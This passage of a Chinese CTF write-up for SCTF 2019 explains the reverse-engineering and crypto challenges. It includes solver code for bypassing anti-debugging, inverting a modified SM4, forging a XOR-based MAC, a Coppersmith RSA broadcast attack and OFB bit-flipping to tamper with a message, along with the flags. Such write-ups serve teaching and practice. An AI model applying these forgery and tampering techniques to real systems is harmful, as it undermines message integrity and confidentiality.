        tmp_index = int(data[i], 16)
        tmp_var = int(data[i + 1], 16)
        if first_list[tmp_index]:
            print "input error"
            os.exit(1)
        else:
            first_list[tmp_index] = tmp_var
    
    j = 0
    flag1 = 0
    flag2 = 0
    second_list = [0] * 24
    for x in xrange(24):
        if x % 6 == 0:
            second_list[x] = first_list[((-1 % 16) + flag1 * 4) % 16]
            flag1 += 1
        elif x % 6 == 5:
            second_list[x] = first_list[((4 % 16) + flag2 * 4) % 16]
            flag2 += 1
        else:
            second_list[x] = first_list[j]
            j += 1

    concat_byte = lambda x, y: x << 4 | y

    third_bytes = ''
    for x in xrange(0, len(second_list), 2):
        third_bytes += chr(concat_byte(second_list[x], second_list[x + 1]))

    tmp_s = "".join([chr(i) for i in range(150,214)])
    exbase = Ex_Base64(tmp_s)
    fourth_bytes = exbase.Ex_base64_encode(third_bytes)

    return encrypt_test(fourth_bytes)

if __name__ == '__main__':
    print encrypt_ojbk("afb1c2d3e4f5061728394a5b6c7d8e9f") == "".join(map(chr, [0xea, 0x6f, 0x69, 0xba, 0x79, 0xe3, 0xa9, 0x01, 0x4e, 0x2d, 0xf8, 0xc2, 0xb3, 0x2e, 0x29, 0x0a]))

Creakme

出题人:0xE4s0n
解题人数:21
最终分数:500

首先在程序开头是一个自解密
图片.png
找到程序的.SCTF段进行解密
图片.png
这里有一个SEH异常化处理
点击下面的xerf跳到正常执行流程

图片.png

接着又是一堆反调试 通过更改ZF寄存器的值可以跳过反调试
图片.png

接着开始解密,简单的异或取非
图片.png

用ida-python解密

addstr = 0x404000 addend = 0x405000 key = "sycloversyclover" j = 0 for i in range(addstr,addend,1): data = (~(Byte(i) ^ ord(key[j%len(key)]))&0xff) PatchByte(i,data) j += 1 print ("patched")

这里是对最后比较的密文进行了操作(ps.顺便说一下如果没过反调试的话该函数不会执行,即使输入正确flag也不会提示正确)

图片.png

解出后就比较简单了

程序将输入的字符串进行了AES_CBC_128_PKCS7Padding加密

key为sycloversyclover偏移sctfsctfsctfsctf

在线解密即可解出flag

图片.png

sctf{Ae3_C8c_I28_pKcs79ad4}

babyRe

出题人:n0n4me
解题人数:20
最终分数:512

题目是个elf文件,三段check。
第一段是个三维5_5_5的正方体迷宫(出了非预期,我谢罪),三维的迷宫路径为ddwwxxssxaxwwaasasyywwdd;
第二段base64解密,结果与sctf_9102进行比较,使用在线工具得:c2N0Zl85MTAy。
第三段是魔改的sm4,直接逆的难度也并不大,回溯求解可得出flag,也可以在网上找解sm4的脚本,改一些参数就行;当然也可以直接将最后比较的内容输入进程序解出第三段:fl4g_is_s0_ug1y!。
flag:sctf{ddwwxxssxaxwwaasasyywwdd-c2N0Zl85MTAy(fl4g_is_s0_ug1y!)}

#include <stdio.h>
#include <stdlib.h>

#define ror(x,n) ((x<<(32 - n))|(x>>n))
#define rol(x,n) ((x>>(32 - n))|(x<<n))

unsigned int fun2(unsigned int a1)
{
    int table[288]={0xD6, 0x90, 0xE9, 0xFE, 0xCC, 0xE1, 0x3D, 0xB7, 0x16, 0xB6, 
  0x14, 0xC2, 0x28, 0xFB, 0x2C, 0x05, 0x2B, 0x67, 0x9A, 0x76, 
  0x2A, 0xBE, 0x04, 0xC3, 0xAA, 0x44, 0x13, 0x26, 0x49, 0x86, 
  0x06, 0x99, 0x9C, 0x42, 0x50, 0xF4, 0x91, 0xEF, 0x98, 0x7A, 
  0x33, 0x54, 0x0B, 0x43, 0xED, 0xCF, 0xAC, 0x62, 0xE4, 0xB3, 
  0x1C, 0xA9, 0xC9, 0x08, 0xE8, 0x95, 0x80, 0xDF, 0x94, 0xFA, 
  0x75, 0x8F, 0x3F, 0xA6, 0x47, 0x07, 0xA7, 0xFC, 0xF3, 0x73, 
  0x17, 0xBA, 0x83, 0x59, 0x3C, 0x19, 0xE6, 0x85, 0x4F, 0xA8, 
  0x68, 0x6B, 0x81, 0xB2, 0x71, 0x64, 0xDA, 0x8B, 0xF8, 0xEB, 
  0x0F, 0x4B, 0x70, 0x56, 0x9D, 0x35, 0x1E, 0x24, 0x0E, 0x5E, 
  0x63, 0x58, 0xD1, 0xA2, 0x25, 0x22, 0x7C, 0x3B, 0x01, 0x21, 
  0x78, 0x87, 0xD4, 0x00, 0x46, 0x57, 0x9F, 0xD3, 0x27, 0x52, 
  0x4C, 0x36, 0x02, 0xE7, 0xA0, 0xC4, 0xC8, 0x9E, 0xEA, 0xBF, 
  0x8A, 0xD2, 0x40, 0xC7, 0x38, 0xB5, 0xA3, 0xF7, 0xF2, 0xCE, 
  0xF9, 0x61, 0x15, 0xA1, 0xE0, 0xAE, 0x5D, 0xA4, 0x9B, 0x34, 
  0x1A, 0x55, 0xAD, 0x93, 0x32, 0x30, 0xF5, 0x8C, 0xB1, 0xE3, 
  0x1D, 0xF6, 0xE2, 0x2E, 0x82, 0x66, 0xCA, 0x60, 0xC0, 0x29, 
  0x23, 0xAB, 0x0D, 0x53, 0x4E, 0x6F, 0xD5, 0xDB, 0x37, 0x45, 
  0xDE, 0xFD, 0x8E, 0x2F, 0x03, 0xFF, 0x6A, 0x72, 0x6D, 0x6C, 
  0x5B, 0x51, 0x8D, 0x1B, 0xAF, 0x92, 0xBB, 0xDD, 0xBC, 0x7F, 
  0x11, 0xD9, 0x5C, 0x41, 0x1F, 0x10, 0x5A, 0xD8, 0x0A, 0xC1, 
  0x31, 0x88, 0xA5, 0xCD, 0x7B, 0xBD, 0x2D, 0x74, 0xD0, 0x12, 
  0xB8, 0xE5, 0xB4, 0xB0, 0x89, 0x69, 0x97, 0x4A, 0x0C, 0x96, 
  0x77, 0x7E, 0x65, 0xB9, 0xF1, 0x09, 0xC5, 0x6E, 0xC6, 0x84, 
  0x18, 0xF0, 0x7D, 0xEC, 0x3A, 0xDC, 0x4D, 0x20, 0x79, 0xEE, 
  0x5F, 0x3E, 0xD7, 0xCB, 0x39, 0x48, 0xC6, 0xBA, 0xB1, 0xA3, 
  0x50, 0x33, 0xAA, 0x56, 0x97, 0x91, 0x7D, 0x67, 0xDC, 0x22, 
  0x70, 0xB2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
    unsigned int v1,v2;
    v1 = (table[a1&0xff]) | (table[(a1>>8)&0xff]<<8) | (table[(a1>>16)&0xff]<<16) |(table[(a1>>24)&0xff]<<24);
    v2=ror(v1,2)^rol(v1,8)^rol(v1,12)^ror(v1,6);
    return v2;
}

unsigned int fun1(unsigned int a1,unsigned int a2,unsigned int a3,unsigned int a4)
{
    return a1^fun2(a4^a3^a2);
}

int main()
{
    unsigned int str[4]={0xbe040680,0xc5af7647,0x9fcc401f,0xd8bf92ef};
    unsigned int cipher[30];
    cipher[26]=str[0];
    cipher[27]=str[1];
    cipher[28]=str[2];
    cipher[29]=str[3];
    int flag[24];
    int i,j=0;
    for(i=25;i>=0;i--)
    {
        cipher[i]=fun1(cipher[i+4],cipher[i+3],cipher[i+2],cipher[i+1]);
    }
    printf("0x%x,0x%x,0x%x,0x%x\n",cipher[0],cipher[1],cipher[2],cipher[3]);
    j=0;
    for(i=0;i<16;i +=4)
    {
        flag[i]=(cipher[j])&0xff;
        flag[i+1]=(cipher[j]>>8)&0xff;
        flag[i+2]=(cipher[j]>>16)&0xff;
        flag[i+3]=(cipher[j]>>24)&0xff;
        j++;
    }
    for(i=0;i<16;i++)
    {
        printf("%c",flag[i]);
    }
}

Crypto

warmup

出题人:r1ngs
解题人数:49
最终分数:294

一个简单的消息认证码。

对于这个MAC算法:令消息$M=(X_1;||;X_2;||;\cdots;||;X_m)$,定义$\Delta (M)=(X_1;\oplus;X_2;\oplus;\cdots;\oplus;X_m)$

则$MAC(K,;M) = E(K, ;\Delta (M))$

如果知道${M;||;MAC(K, M)}$,可以伪造消息$M';={Y_1;||;Y_2;||;\cdots;||;Y_{m-1};||;Y_m}$其中$Y_m={Y_1;\oplus;Y_2;\oplus;\cdots;\oplus;Y_{m-1};\oplus;\Delta(M)}$

则MAC值相同但是$M'$可以是任意的

再结合unpad的没有检查最后一个字符范围的漏洞对$M'$截断就行了,做法不唯一,但也都大同小异

from Crypto.Util.strxor import strxor


def pad(msg):
    pad_length = 16 - len(msg) % 16
    return msg + chr(pad_length) * pad_length

raw = pad('see you at three o\'clock tomorrow')
raw_len = len(raw)
target = 'please send me your flag'
target_len = len(target)
target = pad(target)


res = chr(0)*16
for i in range(len(raw)/16):
    res = strxor(raw[i*16:(i+1)*16], res)

unpad_char = strxor(strxor(target[15],res[-1]), chr(raw_len-target_len))
target = target[:-1]+unpad_char
extra = strxor(strxor(target[:16], target[16:32]), res)

msg = target+extra
print msg.encode('hex')

babygame

出题人:r1ngs
解题人数:17
最终分数:555

主要是一个带线性填充的RSA广播攻击和OFB模式下的字节反转

题目中的形式如下:
$$<br />\begin{align*}<br />(a_1m+b_1)^e&\equiv c_1 (mod\ n_1) \<br />(a_2m+b_2)^e&=c_2 (mod\ n_2) \<br />(a_3m+b_3)^e&=c_3 (mod\ n_3)<br />\end{align*}<br />$$
做法如下:

使用CRT计算$T_i$,使得$T_i \equiv1(mod\ n_i)$ 且$T_i\equiv0(mod\ n_j)$ ,构造一个多项式$g(x)=\Sigma T_i((a_ix+b_i)^e-c_i)$

那么$g(m)\equiv0(mod\ n_i)$, 且由于$gcd(n_i, n_j)=1$, 所以,$m$是$g(x)$模$N$的一个根,其中$N=\prod n_i$,又因为$m<n_i$,所以$m{1/degg(x)}$,那么只要把$g(x)$转换成首一多项式就可以使用Coppersmith理论恢复$m$了

随便取一组数据计算m, sage代码如下:

from binascii import *

a = [
    0xfec659e2deb0cd94061a952132d030600a44df8348a5886e13afda8bf8e0fa992bb2916b43a90799ca65b95f4890c4edf31aee13e14a13150fc0f3ca12a19f91L, 
    0xb5dfd083ffe7da9c7ef1d9a263992cb5bcafadd3305aa1617fcab9f0691e5b1fb3d380bac82865199816e42657ce5d63f9ca374d7635f6108e51230c6d01877bL,
    0xfd1ff488363c98c927bde8b610d95725b81326edff5d076b0c6907d03e328600fa4a92e2dfb003fe102139a3568ad0ede64be0cb911a9a60f41b60108b21fe13L
]
b = [
    0xc380d1ac47967aa32c52b3a140b52bb382f0bed68d179ca230fd4c497b89aaf5bede8f8280d6645166b2f40941ca5d29ba6b3474eabaebe541d01b659620b955L,
    0x901675c475998145cf972a881a78e139165b21727c54aa4747febfb8b0e577d50788122b57d3f988bf6a48b7e59988dd86730224c993b14f0cd863285ede8c59L,
    0xa55434e724c3be8855fc464a1016b40595e7b58a6ca70408538622ad7eb39f398886733f3f026301008952fca8da847a34c94ed4a06a5cbb46c1b14aad7fb8f7L
]

n = [
    0xad31644e44364c011f386f00d83dd7a7df26673e7bc37ce01bd5c6218839aa0da4954641b33bcf5f7a0107b8e10a40f3c7bcc232da36b862b763de1021f88ba64287ce66c5f916301ef44003ba6f53e390a55bb7404bba6ffc4a9421de705c9e3dfbf73433f333e5b70e607dbdc590b67e57c51f7b8f19e33d783f6b7371b0afL,
    0xbd718bcc6784c84e04847df42dc3adea7767e2f6587023a7b31f62018270f28d5fe0d0fbf3e9a496cdcfc674de3d6800ffbbe1fb4c3eb9e9baf148c35e9f50b01ef81590450efb327d6fe32a5c36919ae49aa592bbabfebb4a4befc60e2145aed586c447dca7dec1a50a5dba83fabe3f00d952d3b5540aa9893a75cd8d38c82fL,
    0x817ee26841a6dfea6eae0e69754eedc671c1974de76246f69bd733e1f8c8a10703c1e0d67fa7b03585b2f8b863148df315b8bc87a68080f4ac452c042f5f1f245e79d3200ff2c374af3ed925e97619c4e38bbbef470748695c6b3635f0d63cb6b96710e63e5ae7a33be6227137419cc69ff11f46c2df0d28b42b74cd9e301b71L
]
c = [
    0x595a5b866175eeb78233d848458f8b2c57e384721da52754cb0b68d5df221d4af53542ec9beb63b3529762c47c83648c04c450b460a7997d340117af7e676c903050a73227828a8ff57baa3d13a6d1a88cc1b5b611c874b8ce328524fad3c5474df30be40ab702f02b0b84fcea804c2066d73faca9a73bf2aa270cd380810febL,
    0x6a1c685ffd8b73389af18461439e72a243ab8d220100f6eceeb01f1c176f1a390f3aa95cc456146dd3434199bb94dc6d912912af51fe230efe6aa11115ac1e3f2688344a689e3f5a4c18324f0f21152a2532a671adfa375f0ba04fae5dd134b11406115496dff11d09fe141a45c202537e1335eec501f36c659113080ae7f9f3L,
    0x356f300471bf2b3cbdc61fb2f3d4ddb08cc52b8e770f8b9fc695bc106e6a8b7f36e377c8bf992053cb2528b0fcd7adc3c7bc23f0ea5826ba5a387bb379c1668521ce5870586435ec5f913cf1c528165c8d840cc0845a08f5940c03d12e126450b767950cd60138a55fd7e67ef89f497d4bbe6aa83d5b11cec7880e82a3f5775fL
]
e = 3
Ni = []
for i in range(e):
    Ni.append(prod(n)/n[i])
T = []
for i in range(e):
    ti = Ni[i]*inverse_mod(Ni[i], n[i])
    T.append(ti)

G.<x> = PolynomialRing(Zmod(prod(n)))

g_i = []
for i in range(e):
    g_i.append((T[i]*((a[i]*x+b[i])^e-c[i])))
g = sum(g_i)
g = g.monic()

print unhexlify(hex(int(g.small_roots()[0]))[2:].rstrip('L'))

得到m:

I will send you the ticket tomorrow afternoon

接着再用OFB模式下的字节反转就能篡改消息了,具体可看:https://xz.aliyun.com/t/4552

from Crypto.Util.strxor import strxor

raw = '2df8eb51146a1a1c4193ff638cb259dda08188c0d1731b37d2c519df6e77470f9a99c359b51d8afc8175126c3cab2ef1'
raw = raw.decode('hex')

plain = 'I will send you the ticket tomorrow afternoon'
target = 'I will send you the ticket tomorrow morning'


def pad(msg):
    pad_length = 16 - len(msg) % 16
    return msg + chr(pad_length) * pad_length

plain = pad(plain)
target = pad(target)
print plain, target

new = raw[:-12]+strxor(strxor(raw[-12:], 'afternoon'+chr(3)*3), 'morning'+chr(5)*5)
print new.encode('hex')

- 阅读全文 -
This is just a placeholder img.